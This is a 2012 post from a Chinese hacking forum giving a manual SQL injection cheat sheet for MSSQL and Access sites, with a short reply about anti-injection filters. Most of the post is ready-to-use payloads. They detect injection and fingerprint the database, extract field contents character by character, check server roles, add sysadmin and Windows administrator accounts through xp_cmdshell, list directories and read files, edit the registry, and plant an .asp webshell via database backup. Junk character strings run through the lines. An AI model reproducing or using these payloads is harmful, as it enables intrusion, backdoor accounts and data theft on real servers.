找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2734|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 7 v9 [- |5 z- A' E6 U$ k6 h
1.判断是否有注入;and 1=1 ;and 1=2 / K, x- ^/ ^6 e% a& w
, q! F4 C$ Z1 C) `2 f( S' h
2.初步判断是否是mssql ;and user>0 , v- i4 D+ K6 N6 r
0 g# j. E0 x/ O' Q
3.注入参数是字符'and [查询条件] and ''='
# C5 G5 b8 m8 ~  b
! N, Z6 d; w6 i" c- t$ N4.搜索时没过滤参数的'and [查询条件] and '%25'=' 2 }' m3 T8 w9 h) b& b8 M

/ m7 n( K2 f8 ^; t' ^7 X* H5.判断数据库系统
' Y& ^2 x5 e! y3 @;and (select count(*) from sysobjects)>0 mssql 2 T- ~* e* }2 N" b  a9 x
;and (select count(*) from msysobjects)>0 access 9 w# K0 ?$ P- C+ Q" Y# a% t. g/ }

' K& |; a) y/ s( w! N6.猜数据库 ;and (select Count(*) from [数据库名])>0 6 l" K4 ?7 `7 |& u
& q. x5 {* f6 g1 A* l. S' t
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
' ^4 z8 P  M: Q3 J0 l* @! D# ~0 V; m4 F2 x% U# N; i
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 / }  ?& j: X9 y2 a* c# ?6 A8 I

  z  h% M4 [. G' n, K: Y4 m9.(1)猜字段的ascii值(access) 2 A  k/ A/ v  L
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
8 J9 Y+ D$ R6 G: ~9 L3 y6 m! x% }" C
(2)猜字段的ascii值(mssql) ! M+ O9 B3 Z0 ]8 t# ]% l
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
# i9 j$ m( G' x' e# |3 E- d
/ ^6 E3 s& @; Y% i1 h$ h$ `) x8 z10.测试权限结构(mssql)
$ o9 d% |% D8 N# A;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4 _4 j5 J! r1 Q0 M/ ~# T; p+ @6 _. j
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % k  e  M4 H5 s/ X0 a0 U% a
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
5 ^! o2 U+ V" |5 O# p& P6 n;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
6 e) C( |- R5 p! y;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# W/ a) f+ p' n+ f. h0 G* x: o7 |3 c;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
% x8 e  a" @3 l3 v, z8 {/ };and 1=(select IS_MEMBER('db_owner'));-- ; k8 ~: l+ X, K8 H- j

. F8 ]  i9 H, `- A# Q$ b3 X11.添加mssql和系统的帐户
. g; {. G* w" i;exec master.dbo.sp_addlogin username;-- " ?7 b! r8 ^7 ]4 y, I) Z* ]1 e
5 g% k' b& k# d3 b1 \) W
;exec master.dbo.sp_password null,username,password;-- - g  r" t4 H# O5 _
6 e3 Q" W) X. e5 T  x9 v* d, ?
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - S9 i4 ?, \8 }2 n1 L" b, s3 b

7 X( k0 d& |2 Y;exec master.dbo.xp_cmdshell 'net user username password
. W$ F5 y. p* @( J5 S1 O9 H9 O/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--   a# o' g6 N: g4 P2 ~
$ {5 `. S* p) c; H# _) g
;exec master.dbo.xp_cmdshell 'net user username password /add';-- . J9 _5 Z, t- H& ]9 l$ E, \

+ o% ]# j9 R4 ?;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # ~) B' Z- _7 V% d( |
. |# Z% S# {, u# j
12.(1)遍历目录
6 t/ w: E& b8 F# c3 t8 G/ o5 E; ?9 O  U
;create table dirs(paths varchar(100), id int)
  P* i) N$ W* U, ?6 s1 P;insert dirs exec master.dbo.xp_dirtree 'c:\' . a7 O+ p/ T1 l( H
;and (select top 1 paths from dirs)>0 5 j0 l9 }, ]1 |4 ]
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) - @5 |9 ?, r1 _! E, k/ u

! ]* S0 C& ?. v1 A% C" ~( x(2)遍历目录 4 K; ^  Q# O: M4 j+ u
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* g  n' n+ k" z;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
1 P% s* w6 c0 b- ~5 S- _;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 s9 G9 d: T# a% y! |: n
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 # z- B% h" o) R& M  D* ]; j( U
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 & s9 t) C" c4 W! V7 i3 W

& R1 O) r4 K) z$ d( H8 Q13.mssql中的存储过程
0 U$ Q/ h, f5 I) u2 _* f: t. {# U( ]+ z4 E$ G/ W9 S7 L$ z* @
xp_regenumvalues 注册表根键, 子键
! ^5 f. L$ `4 ~  s6 L3 ~* z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
5 B+ M2 _( w5 E6 y% }& [3 \# p$ Z/ H8 o7 M2 W: U
xp_regread 根键,子键,键值名 . l" ^& d% Z( K# O' z& ?8 }3 |3 q
;exec xp_regread
9 O. @; E# q( E! m: i6 L/ ['HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % h7 T# I" D; w( g
  ?/ I& [! {6 e1 U9 Q# S7 q
xp_regwrite 根键,子键, 值名, 值类型, 值 " L; O0 F# P/ v0 F. M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 . n  k6 s7 K- p& m  f
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
1 D/ y+ A( V+ U
7 {2 N2 Y1 {' Y0 ^* \xp_regdeletevalue 根键,子键,值名 1 q( r8 [$ ?% p5 Y* ?" R
; I0 A( |0 n2 @! y: X* r
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
" C# W& K; b* c. V7 ~9 [: w8 \7 C7 t3 }
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
  D' E* Y" l, M4 r; o7 I/ I/ s, j5 F* ]$ f8 w$ b/ k2 T
14.mssql的backup创建webshell 9 S. r  Y$ K" T
use model # O8 c  w; P( T0 ~) N" p
create table cmd(str image); 0 A7 f$ V; {, ?1 n' Y# {
insert into cmd(str) values (''); 5 ~1 x5 _1 s% w! N% w, N
backup database model to disk='c:\l.asp';
6 x: C  M  t; y( Y) e. D" E+ ]& U2 x
" R9 ^. E0 S! ~: ^& ?15.mssql内置函数 $ {+ \: e! X2 X, g' S
;and (select @@version)>0 获得Windows的版本号 3 t% B4 {$ Q2 v* m
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5 T3 O" w9 [  r! B( v; Y. V
;and (select user_name())>0 爆当前系统的连接用户
$ [* P0 |2 S' V( Q;and (select db_name())>0 得到当前连接的数据库 5 Q) a7 j$ n2 _8 c$ }; c! k
0 b, h! w& U) X) A) P
16.简洁的webshell
7 B$ m+ s5 _- B- M: M3 l. b3 z. X
use model 0 I; E' L7 @  T- [5 B/ R% d9 ?. m- O

( }# ?* g2 |* ~  _& V  mcreate table cmd(str image);
' a2 d. C* o' z2 A: n' G; A. I3 J, x2 _1 c
insert into cmd(str) values (''); % t; a7 _2 B% p, d0 U6 O
* m0 P4 f5 b) c/ I1 m+ z4 V
backup database model to disk='g:\wwwtest\l.asp'; 3 {5 r+ f3 |* }% L0 k
6 s2 [" Q- ]" x$ W% U
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表